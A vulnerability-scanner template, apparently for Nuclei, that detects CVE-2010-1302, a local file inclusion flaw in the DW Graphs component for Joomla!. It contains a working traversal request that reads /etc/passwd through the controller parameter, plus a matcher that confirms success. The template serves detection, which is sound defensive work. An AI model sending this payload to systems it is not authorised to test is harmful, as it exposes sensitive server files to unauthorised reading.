id: CVE-2010-1302

info:
  name: Joomla! Component DW Graph - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in dwgraphs.php in the DecryptWeb DW Graphs (com_dwgraphs) component 1.0 for Joomla! allows remote attackers to read arbitrary files via directory traversal sequences in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access or information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11978
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1302
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1302
    cwe-id: CWE-22
    epss-score: 0.04
    epss-percentile: 0.88584
    cpe: cpe:2.3:a:decryptweb:com_dwgraphs:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: decryptweb
    product: com_dwgraphs
  tags: cve,cve2010,edb,joomla,lfi,graph,decryptweb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_dwgraphs&controller=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502204533d3aae9d6d29dadf463decb9eafaeee10c6e71b3a7941873f5d07412d2d3e022100a8d31006351af6fa07b14d8677aa57af14f272cb7257f1ead75d7e5376f6bc29:922c64590222798bb761d5b6d8e72950